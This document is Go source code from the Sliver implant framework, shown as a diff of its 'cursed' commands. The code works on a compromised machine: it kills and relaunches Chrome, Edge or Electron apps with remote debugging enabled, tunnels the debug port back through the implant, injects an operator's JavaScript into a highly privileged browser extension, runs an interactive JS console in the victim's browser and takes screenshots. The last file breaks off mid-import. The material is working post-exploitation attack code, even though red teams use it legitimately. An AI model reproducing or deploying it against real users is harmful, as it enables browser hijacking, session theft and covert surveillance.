MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"errors"
"fmt"
"io/ioutil"
"log"
insecureRand "math/rand"
"strings"
"time"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/core"
"github.com/bishopfox/sliver/client/overlord"
"github.com/bishopfox/sliver/client/tcpproxy"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
)
var (
ErrUserDataDirNotFound = errors.New("could not find Chrome user data dir")
ErrChromeExecutableNotFound = errors.New("could not find Chrome executable")
ErrUnsupportedOS = errors.New("unsupported OS")
windowsDriveLetters = []string{"C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z"}
cursedChromePermissions = []string{overlord.AllURLs, overlord.WebRequest, overlord.WebRequestBlocking}
cursedChromePermissionsAlt = []string{overlord.AllHTTP, overlord.AllHTTPS, overlord.WebRequest, overlord.WebRequestBlocking}
)
// CursedChromeCmd - Execute a .NET assembly in-memory
func CursedChromeCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
payloadPath := ctx.Flags.String("payload")
var payload []byte
var err error
if payloadPath != "" {
payload, err = ioutil.ReadFile(payloadPath)
if err != nil {
con.PrintErrorf("Could not read payload file: %s\n", err)
return
}
}
curse := avadaKedavraChrome(session, ctx, con)
if curse == nil {
return
}
if payloadPath == "" {
con.PrintWarnf("No Cursed Chrome payload was specified, skipping payload injection.\n")
return
}
con.PrintInfof("Searching for Chrome extension with all permissions ... ")
chromeExt, err := overlord.FindExtensionWithPermissions(curse, cursedChromePermissions)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
// There is one alternative set of permissions that we can use if we don't find an extension
// with all the proper permissions.
if chromeExt == nil {
chromeExt, err = overlord.FindExtensionWithPermissions(curse, cursedChromePermissionsAlt)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
if chromeExt != nil {
con.Printf("success!\n")
con.PrintInfof("Found viable Chrome extension %s%s%s (%s)\n", console.Bold, chromeExt.Title, console.Normal, chromeExt.ID)
con.PrintInfof("Injecting payload ... ")
ctx, _, _ := overlord.GetChromeContext(chromeExt.WebSocketDebuggerURL, curse)
// extCtxTimeout, cancel := context.WithTimeout(ctx, 10*time.Second)
// defer cancel()
_, err = overlord.ExecuteJS(ctx, chromeExt.WebSocketDebuggerURL, chromeExt.ID, string(payload))
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.Printf("success!\n")
} else {
con.Printf("failure!\n")
con.PrintInfof("No viable Chrome extensions were found ☹️\n")
}
}
func avadaKedavraChrome(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) *core.CursedProcess {
chromeProcess, err := getChromeProcess(session, ctx, con)
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
if chromeProcess != nil {
con.PrintWarnf("Found running Chrome process: %d (ppid: %d)\n", chromeProcess.GetPid(), chromeProcess.GetPpid())
con.PrintWarnf("Sliver will need to kill and restart the Chrome process in order to perform code injection.\n")
con.PrintWarnf("Sliver will attempt to restore the user's session, however %sDATA LOSS MAY OCCUR!%s\n", console.Bold, console.Normal)
con.Printf("\n")
confirm := false
err = survey.AskOne(&survey.Confirm{Message: "Kill and restore existing Chrome process?"}, &confirm)
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
if !confirm {
con.PrintErrorf("User cancel\n")
return nil
}
terminateResp, err := con.Rpc.Terminate(context.Background(), &sliverpb.TerminateReq{
Request: con.ActiveTarget.Request(ctx),
Pid: chromeProcess.GetPid(),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
if terminateResp.Response != nil && terminateResp.Response.Err != "" {
con.PrintErrorf("could not terminate the existing process: %s\n", terminateResp.Response.Err)
return nil
}
}
curse, err := startCursedChromeProcess(false, session, ctx, con)
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
return curse
}
func startCursedChromeProcess(isEdge bool, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*core.CursedProcess, error) {
name := "Chrome"
if isEdge {
name = "Edge"
}
con.PrintInfof("Finding %s executable path ... ", name)
chromeExePath, err := findChromeExecutablePath(isEdge, session, ctx, con)
if err != nil {
con.Printf("failure!\n")
return nil, err
}
con.Printf("success!\n")
con.PrintInfof("Finding %s user data directory ... ", name)
chromeUserDataDir, err := findChromeUserDataDir(isEdge, session, ctx, con)
if err != nil {
con.Printf("failure!\n")
return nil, err
}
con.Printf("success!\n")
con.PrintInfof("Starting %s process ... ", name)
debugPort := uint16(ctx.Flags.Int("remote-debugging-port"))
args := []string{
fmt.Sprintf("--remote-debugging-port=%d", debugPort),
}
if chromeUserDataDir != "" {
args = append(args, fmt.Sprintf("--user-data-dir=%s", chromeUserDataDir))
}
if ctx.Flags.Bool("restore") {
args = append(args, "--restore-last-session")
}
// Execute the Chrome process with the extra flags
// TODO: PPID spoofing, etc.
chromeExec, err := con.Rpc.Execute(context.Background(), &sliverpb.ExecuteReq{
Request: con.ActiveTarget.Request(ctx),
Path: chromeExePath,
Args: args,
Output: false,
})
if err != nil {
con.Printf("failure!\n")
return nil, err
}
con.Printf("(pid: %d) success!\n", chromeExec.GetPid())
con.PrintInfof("Waiting for %s process to initialize ... ", name)
time.Sleep(2 * time.Second)
bindPort := insecureRand.Intn(10000) + 40000
bindAddr := fmt.Sprintf("127.0.0.1:%d", bindPort)
remoteAddr := fmt.Sprintf("127.0.0.1:%d", debugPort)
tcpProxy := &tcpproxy.Proxy{}
channelProxy := &core.ChannelProxy{
Rpc: con.Rpc,
Session: session,
RemoteAddr: remoteAddr,
BindAddr: bindAddr,
KeepAlivePeriod: 60 * time.Second,
DialTimeout: 30 * time.Second,
}
tcpProxy.AddRoute(bindAddr, channelProxy)
portFwd := core.Portfwds.Add(tcpProxy, channelProxy)
curse := &core.CursedProcess{
SessionID: session.ID,
PID: chromeExec.GetPid(),
PortFwd: portFwd,
BindTCPPort: bindPort,
Platform: session.GetOS(),
ExePath: chromeExePath,
ChromeUserDataDir: chromeUserDataDir,
}
core.CursedProcesses.Store(bindPort, curse)
go func() {
err := tcpProxy.Run()
if err != nil {
log.Printf("Proxy error %s", err)
}
core.CursedProcesses.Delete(bindPort)
}()
con.PrintInfof("Port forwarding %s -> %s\n", bindAddr, remoteAddr)
return curse, nil
}
func findChromeUserDataDir(isEdge bool, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (string, error) {
userDataFlag := ctx.Flags.String("user-data")
if userDataFlag != "" {
return userDataFlag, nil
}
switch session.GetOS() {
case "windows":
username := session.GetUsername()
if strings.Contains(username, "\\") {
username = strings.Split(username, "\\")[1]
}
for _, driveLetter := range windowsDriveLetters {
userDataDir := fmt.Sprintf("%s:\\Users\\%s\\AppData\\Local\\Google\\Chrome\\User Data", driveLetter, username)
if isEdge {
userDataDir = fmt.Sprintf("%s:\\Users\\%s\\AppData\\Local\\Microsoft\\Edge\\User Data", driveLetter, username)
}
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
Request: con.ActiveTarget.Request(ctx),
Path: userDataDir,
})
if err != nil {
return "", err
}
if ls.GetExists() {
return userDataDir, nil
}
}
return "", ErrUserDataDirNotFound
case "darwin":
userDataDir := fmt.Sprintf("/Users/%s/Library/Application Support/Google/Chrome", session.Username)
if isEdge {
userDataDir = fmt.Sprintf("/Users/%s/Library/Application Support/Microsoft Edge", session.Username)
}
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
Request: con.ActiveTarget.Request(ctx),
Path: userDataDir,
})
if err != nil {
return "", err
}
if ls.GetExists() {
return userDataDir, nil
}
return "", ErrUserDataDirNotFound
default:
return "", ErrUnsupportedOS
}
}
func findChromeExecutablePath(isEdge bool, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (string, error) {
exeFlag := ctx.Flags.String("exe")
if exeFlag != "" {
return exeFlag, nil
}
switch session.GetOS() {
case "windows":
chromeWindowsPaths := []string{
"[DRIVE]:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe",
"[DRIVE]:\\Program Files\\Google\\Chrome\\Application\\chrome.exe",
"[DRIVE]:\\Users\\[USERNAME]\\AppData\\Local\\Google\\Chrome\\Application\\chrome.exe",
"[DRIVE]:\\Program Files (x86)\\Google\\Application\\chrome.exe",
}
if isEdge {
chromeWindowsPaths = []string{
"[DRIVE]:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe",
"[DRIVE]:\\Program Files\\Microsoft\\Edge\\Application\\msedge.exe",
"[DRIVE]:\\Users\\[USERNAME]\\AppData\\Local\\Microsoft\\Edge\\Application\\msedge.exe",
}
}
username := session.GetUsername()
if strings.Contains(username, "\\") {
username = strings.Split(username, "\\")[1]
}
for _, driveLetter := range windowsDriveLetters {
for _, chromePath := range chromeWindowsPaths {
chromeExecutablePath := strings.ReplaceAll(chromePath, "[DRIVE]", driveLetter)
chromeExecutablePath = strings.ReplaceAll(chromeExecutablePath, "[USERNAME]", username)
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
Request: con.ActiveTarget.Request(ctx),
Path: chromeExecutablePath,
})
if err != nil {
return "", err
}
if ls.GetExists() {
return chromeExecutablePath, nil
}
}
}
return "", ErrChromeExecutableNotFound
case "darwin":
// AFAIK Chrome only installs to this path on macOS
defaultChromePath := "/Applications/Google Chrome.app/Contents/MacOS/Google Chrome"
if isEdge {
defaultChromePath = "/Applications/Microsoft Edge.app/Contents/MacOS/Microsoft Edge"
}
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
Request: con.ActiveTarget.Request(ctx),
Path: defaultChromePath,
})
if err != nil {
return "", err
}
if ls.GetExists() {
return defaultChromePath, nil
}
return "", ErrChromeExecutableNotFound
case "linux":
chromeLinuxPaths := []string{
"/usr/bin/google-chrome",
"/usr/bin/chromium-browser",
"/usr/local/bin/google-chrome",
"/usr/local/bin/chromium-browser",
}
if isEdge {
chromeLinuxPaths = []string{
"/usr/bin/microsoft-edge",
"/usr/local/bin/microsoft-edge",
}
}
for _, chromePath := range chromeLinuxPaths {
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
Request: con.ActiveTarget.Request(ctx),
Path: chromePath,
})
if err != nil {
return "", err
}
if ls.GetExists() {
return chromePath, nil
}
}
return "", ErrChromeExecutableNotFound
default:
return "", ErrUnsupportedOS
}
}
func isChromeProcess(executable string) bool {
var chromeProcessNames = []string{
"chrome", // Linux
"google-chrome", // Linux
"chromium-browser", // Linux
"chrome.exe", // Windows
"Google Chrome", // Darwin
}
for _, suffix := range chromeProcessNames {
if strings.HasSuffix(executable, suffix) {
return true
}
}
return false
}
func getChromeProcess(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*commonpb.Process, error) {
ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
return nil, err
}
for _, process := range ps.Processes {
if process.GetOwner() != session.GetUsername() {
continue
}
if isChromeProcess(process.GetExecutable()) {
return process, nil
}
}
return nil, nil
}
+135
View File
@@ -0,0 +1,135 @@
package cursed
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"bytes"
"fmt"
"io"
"io/ioutil"
"strings"
"text/tabwriter"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/core"
"github.com/bishopfox/sliver/client/overlord"
"github.com/desertbit/grumble"
"github.com/desertbit/readline"
)
func CursedConsoleCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
curse := selectCursedProcess(con)
if curse == nil {
return
}
con.Println()
con.PrintInfof("Querying debug targets ... ")
targets, err := overlord.QueryDebugTargets(curse.DebugURL().String())
con.Printf(console.Clearln + "\r")
if err != nil {
con.PrintErrorf("Failed to query debug targets: %s\n", err)
return
}
target := selectDebugTarget(targets, con)
if target == nil {
return
}
con.PrintInfof("Connecting to '%s', use 'exit' to return ... \n\n", target.Title)
startCursedConsole(curse, target, con)
}
func selectDebugTarget(targets []overlord.ChromeDebugTarget, con *console.SliverConsoleClient) *overlord.ChromeDebugTarget {
if len(targets) < 1 {
con.PrintErrorf("No debug targets\n")
return nil
}
id2target := map[string]overlord.ChromeDebugTarget{}
outputBuf := bytes.NewBufferString("")
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
for _, target := range targets {
fmt.Fprintf(table, "%s\t%s\t%s\n", target.ID, target.Title, target.URL)
id2target[target.ID] = target
}
table.Flush()
options := strings.Split(outputBuf.String(), "\n")
options = options[:len(options)-1] // Remove the last empty option
prompt := &survey.Select{
Message: "Select a debug target:",
Options: options,
}
selected := ""
err := survey.AskOne(prompt, &selected)
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
if selected == "" {
return nil
}
selectedID := strings.Split(selected, " ")[0]
selectedTarget := id2target[selectedID]
return &selectedTarget
}
func startCursedConsole(curse *core.CursedProcess, target *overlord.ChromeDebugTarget, con *console.SliverConsoleClient) {
tmpFile, _ := ioutil.TempFile("", "cursed")
reader, err := readline.NewEx(&readline.Config{
Prompt: "\033[31mcursed »\033[0m ",
HistoryFile: tmpFile.Name(),
// AutoComplete: nil,
InterruptPrompt: "^C",
EOFPrompt: "exit",
HistorySearchFold: true,
// FuncFilterInputRune: filterInput,
})
if err != nil {
con.PrintErrorf("Failed to create read line: %s\n", err)
return
}
for {
line, err := reader.Readline()
if err == readline.ErrInterrupt {
if len(line) == 0 {
break
} else {
continue
}
} else if err == io.EOF {
break
}
switch strings.TrimSpace(line) {
case "exit":
return
default:
ctx, _, _ := overlord.GetChromeContext(target.WebSocketDebuggerURL, curse)
result, err := overlord.ExecuteJS(ctx, target.WebSocketDebuggerURL, target.ID, line)
if err != nil {
con.PrintErrorf("%s\n", err)
}
con.Println()
if 0 < len(result) {
con.Printf("%s\n", result)
con.Println()
}
}
}
}
+170
View File
@@ -0,0 +1,170 @@
package cursed
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"io/ioutil"
"strings"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/core"
"github.com/bishopfox/sliver/client/overlord"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
)
// CursedChromeCmd - Execute a .NET assembly in-memory
func CursedEdgeCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
payloadPath := ctx.Flags.String("payload")
var payload []byte
var err error
if payloadPath != "" {
payload, err = ioutil.ReadFile(payloadPath)
if err != nil {
con.PrintErrorf("Could not read payload file: %s\n", err)
return
}
}
curse := avadaKedavraEdge(session, ctx, con)
if curse == nil {
return
}
if payloadPath == "" {
con.PrintWarnf("No Cursed Edge payload was specified, skipping payload injection.\n")
return
}
con.PrintInfof("Searching for Edge extension with all permissions ... ")
chromeExt, err := overlord.FindExtensionWithPermissions(curse, cursedChromePermissions)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
// There is one alternative set of permissions that we can use if we don't find an extension
// with all the proper permissions.
if chromeExt == nil {
chromeExt, err = overlord.FindExtensionWithPermissions(curse, cursedChromePermissionsAlt)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
if chromeExt != nil {
con.Printf("success!\n")
con.PrintInfof("Found viable Edge extension %s%s%s (%s)\n", console.Bold, chromeExt.Title, console.Normal, chromeExt.ID)
con.PrintInfof("Injecting payload ... ")
ctx, _, _ := overlord.GetChromeContext(chromeExt.WebSocketDebuggerURL, curse)
// extCtxTimeout, cancel := context.WithTimeout(ctx, 10*time.Second)
// defer cancel()
_, err = overlord.ExecuteJS(ctx, chromeExt.WebSocketDebuggerURL, chromeExt.ID, string(payload))
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.Printf("success!\n")
} else {
con.Printf("failure!\n")
con.PrintInfof("No viable Edge extensions were found ☹️\n")
}
}
func avadaKedavraEdge(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) *core.CursedProcess {
edgeProcess, err := getEdgeProcess(session, ctx, con)
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
if edgeProcess != nil {
con.PrintWarnf("Found running Edge process: %d (ppid: %d)\n", edgeProcess.GetPid(), edgeProcess.GetPpid())
con.PrintWarnf("Sliver will need to kill and restart the Edge process in order to perform code injection.\n")
con.PrintWarnf("Sliver will attempt to restore the user's session, however %sDATA LOSS MAY OCCUR!%s\n", console.Bold, console.Normal)
con.Printf("\n")
confirm := false
err = survey.AskOne(&survey.Confirm{Message: "Kill and restore existing Edge process?"}, &confirm)
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
if !confirm {
con.PrintErrorf("User cancel\n")
return nil
}
terminateResp, err := con.Rpc.Terminate(context.Background(), &sliverpb.TerminateReq{
Request: con.ActiveTarget.Request(ctx),
Pid: edgeProcess.GetPid(),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
if terminateResp.Response != nil && terminateResp.Response.Err != "" {
con.PrintErrorf("could not terminate the existing process: %s\n", terminateResp.Response.Err)
return nil
}
}
curse, err := startCursedChromeProcess(true, session, ctx, con)
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
return curse
}
func isEdgeProcess(executable string) bool {
var edgeProcessNames = []string{
"msedge", // Linux
"microsoft-edge", // Linux
"msedge.exe", // Windows
"Microsoft Edge", // Darwin
}
for _, suffix := range edgeProcessNames {
if strings.HasSuffix(executable, suffix) {
return true
}
}
return false
}
func getEdgeProcess(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*commonpb.Process, error) {
ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
return nil, err
}
for _, process := range ps.Processes {
if process.GetOwner() != session.GetUsername() {
continue
}
if isEdgeProcess(process.GetExecutable()) {
return process, nil
}
}
return nil, nil
}
+229
View File
@@ -0,0 +1,229 @@
package cursed
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"fmt"
"log"
insecureRand "math/rand"
"path"
"time"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/core"
"github.com/bishopfox/sliver/client/overlord"
"github.com/bishopfox/sliver/client/tcpproxy"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
)
func CursedElectronCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
electronExe := ctx.Flags.String("exe")
if electronExe == "" {
con.PrintErrorf("Missing --exe flag, see --help\n")
return
}
curse := avadaKedavraElectron(electronExe, session, ctx, con)
if curse == nil {
return
}
con.PrintInfof("Checking for debug targets ...")
targets, err := overlord.QueryDebugTargets(curse.DebugURL().String())
con.Printf(console.Clearln + "\r")
if err != nil {
con.PrintErrorf("Failed to query debug targets: %s\n", err)
return
}
if len(targets) == 0 {
con.PrintErrorf("Zero debug targets found\n")
return
}
con.PrintInfof("Found %d debug targets, good hunting!\n", len(targets))
}
func avadaKedavraElectron(electronExe string, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) *core.CursedProcess {
exists, err := checkElectronPath(electronExe, session, ctx, con)
if err != nil {
con.PrintErrorf("%s", err)
return nil
}
if !exists {
con.PrintErrorf("Executable path does not exist: %s", electronExe)
return nil
}
electronProcess, err := checkElectronProcess(electronExe, session, ctx, con)
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
if electronProcess != nil {
con.PrintWarnf("Found running '%s' process: %d (ppid: %d)\n", path.Base(electronExe), electronProcess.GetPid(), electronProcess.GetPpid())
con.PrintWarnf("Sliver will need to kill and restart the process in order to perform code injection.\n")
con.PrintWarnf("%sDATA LOSS MAY OCCUR!%s\n", console.Bold, console.Normal)
con.Printf("\n")
confirm := false
err = survey.AskOne(&survey.Confirm{Message: "Kill and restart the process?"}, &confirm)
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
if !confirm {
con.PrintErrorf("User cancel\n")
return nil
}
terminateResp, err := con.Rpc.Terminate(context.Background(), &sliverpb.TerminateReq{
Request: con.ActiveTarget.Request(ctx),
Pid: electronProcess.Pid,
})
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
if terminateResp.Response != nil && terminateResp.Response.Err != "" {
con.PrintErrorf("could not terminate the existing process: %s\n", terminateResp.Response.Err)
return nil
}
}
curse, err := startCursedElectronProcess(electronExe, session, ctx, con)
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
return curse
}
func checkElectronPath(electronExe string, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (bool, error) {
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
Request: con.ActiveTarget.Request(ctx),
Path: electronExe,
})
if err != nil {
return false, err
}
return ls.GetExists(), nil
}
func checkElectronProcess(electronExe string, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*commonpb.Process, error) {
ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
return nil, err
}
for _, process := range ps.Processes {
if process.GetOwner() != session.GetUsername() {
continue
}
if process.GetExecutable() == electronExe || path.Base(process.GetExecutable()) == path.Base(electronExe) {
return process, nil
}
}
return nil, nil
}
func startCursedElectronProcess(electronExe string, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*core.CursedProcess, error) {
con.PrintInfof("Starting '%s' ... ", path.Base(electronExe))
debugPort := uint16(ctx.Flags.Int("remote-debugging-port"))
args := []string{
fmt.Sprintf("--remote-debugging-port=%d", debugPort),
}
// Execute the Chrome process with the extra flags
// TODO: PPID spoofing, etc.
electronExec, err := con.Rpc.Execute(context.Background(), &sliverpb.ExecuteReq{
Request: con.ActiveTarget.Request(ctx),
Path: electronExe,
Args: args,
Output: false,
})
if err != nil {
con.Printf("failure!\n")
return nil, err
}
con.Printf("(pid: %d) success!\n", electronExec.GetPid())
con.PrintInfof("Waiting for process to initialize ... ")
time.Sleep(2 * time.Second)
bindPort := insecureRand.Intn(10000) + 40000
bindAddr := fmt.Sprintf("127.0.0.1:%d", bindPort)
remoteAddr := fmt.Sprintf("127.0.0.1:%d", debugPort)
tcpProxy := &tcpproxy.Proxy{}
channelProxy := &core.ChannelProxy{
Rpc: con.Rpc,
Session: session,
RemoteAddr: remoteAddr,
BindAddr: bindAddr,
KeepAlivePeriod: 60 * time.Second,
DialTimeout: 30 * time.Second,
}
tcpProxy.AddRoute(bindAddr, channelProxy)
portFwd := core.Portfwds.Add(tcpProxy, channelProxy)
curse := &core.CursedProcess{
SessionID: session.ID,
PID: electronExec.GetPid(),
PortFwd: portFwd,
BindTCPPort: bindPort,
Platform: session.GetOS(),
ExePath: electronExe,
}
core.CursedProcesses.Store(bindPort, curse)
go func() {
err := tcpProxy.Run()
if err != nil {
log.Printf("Proxy error %s", err)
}
core.CursedProcesses.Delete(bindPort)
}()
con.PrintInfof("Port forwarding %s -> %s\n", bindAddr, remoteAddr)
return curse, nil
}
func getElectronProcess(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*commonpb.Process, error) {
ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
return nil, err
}
for _, process := range ps.Processes {
if process.GetOwner() != session.GetUsername() {
continue
}
if isChromeProcess(process.GetExecutable()) {
return process, nil
}
}
return nil, nil
}
+75
View File
@@ -0,0 +1,75 @@
package cursed
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/core"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
)
func CursedRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
kill := ctx.Flags.Bool("kill")
bindPort := ctx.Args.Int("bind-port")
core.CloseCursedProcessesByBindPort(session.ID, bindPort)
if kill {
confirm := false
err := survey.AskOne(&survey.Confirm{Message: "Kill the cursed process?"}, &confirm)
if err != nil {
con.PrintErrorf("%s", err)
return
}
if !confirm {
con.PrintErrorf("User cancel\n")
return
}
// Get cursed process
var cursedProc *core.CursedProcess
curses := core.CursedProcessBySessionID(session.ID)
for _, curse := range curses {
if curse.BindTCPPort == bindPort {
cursedProc = curse
}
}
if cursedProc == nil {
con.PrintErrorf("Failed to find cursed process\n")
return
}
terminateResp, err := con.Rpc.Terminate(context.Background(), &sliverpb.TerminateReq{
Request: con.ActiveTarget.Request(ctx),
Pid: int32(cursedProc.PID),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if terminateResp.Response != nil && terminateResp.Response.Err != "" {
con.PrintErrorf("could not terminate the existing process: %s\n", terminateResp.Response.Err)
return
}
}
}
@@ -0,0 +1,69 @@
package cursed
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"fmt"
"io/ioutil"
"time"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/overlord"
"github.com/desertbit/grumble"
)
func CursedScreenshotCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
curse := selectCursedProcess(con)
if curse == nil {
return
}
con.Println()
con.PrintInfof("Querying debug targets ... ")
targets, err := overlord.QueryDebugTargets(curse.DebugURL().String())
con.Printf(console.Clearln + "\r")
if err != nil {
con.PrintErrorf("Failed to query debug targets: %s\n", err)
return
}
target := selectDebugTarget(targets, con)
if target == nil {
return
}
con.PrintInfof("Taking a screenshot of '%s' ... \n\n", target.Title)
quality := ctx.Flags.Int64("quality")
if quality < 1 || quality > 100 {
con.PrintErrorf("Invalid quality value, must be between 1 and 100\n")
return
}
data, err := overlord.Screenshot(curse, target.WebSocketDebuggerURL, target.ID, quality)
if err != nil {
con.PrintErrorf("Failed to take screenshot: %s\n", err)
return
}
saveFile := ctx.Flags.String("save")
if saveFile == "" {
saveFile = fmt.Sprintf("screenshot-%s.png", time.Now().Format("20060102150405"))
}
err = ioutil.WriteFile(saveFile, data, 0644)
if err != nil {
con.PrintErrorf("Failed to save screenshot: %s\n", err)
return
}
con.PrintInfof("Screenshot saved to %s\n", saveFile)
}
+109
View File
@@ -0,0 +1,109 @@
package cursed
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"bytes"
"fmt"
"strconv"
"strings"
